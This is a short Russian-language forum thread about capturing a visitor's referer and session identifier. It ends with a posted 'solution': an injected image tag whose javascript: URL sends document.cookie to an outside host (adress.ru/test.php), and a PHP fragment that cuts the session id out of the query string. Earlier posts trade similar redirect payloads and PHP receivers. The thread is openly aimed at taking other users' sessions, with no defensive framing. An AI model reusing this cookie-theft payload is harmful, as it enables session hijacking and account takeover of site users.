Как стянуть HTTP_REFERER при переходе со страницы Например <image src=javascript:window.location.href="http://www.adres.ru/l.php"> l.php : <? echo $HTTP_REFERER; ?> Ничего не выводиться ...., почему ???
попробуй так: <? global $HTTP_REFERER; echo $HTTP_REFERER; ?> Иногда переменные окружения надо заранее объявлять как глобальные
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается. Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается. В данном случае нужно использваоть например такой тег: <image src="http://www.adres.ru/l.php">
Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода: HTML: <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Если сначало стянуть referer так, то загрузить страницу нельзя в текущее окно IE : HTML: <image src="http://www.adres.ru/l.php"> А если сохранять referer в файл где то на хостинге, то файлы обновляется не мгновенно........, то есть так не пройдёт : HTML: ]<image src="http://www.adres.ru/referer.php"> <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Вот какая проблема
Проблема в том, что надо и идентификатор сесии стянуть со страницы, и с этойже страницы зделать редирект на другую с этим(подставленным) идентификатором
Точно! решение найдено <image src=javascript
:window.location.href="http://adress.ru/test.php?"+document.cookie;> <? $nomer=strpos("$QUERY_STRING","rm_")+3; $id=substr("$QUERY_STRING","$nomer",35); ?>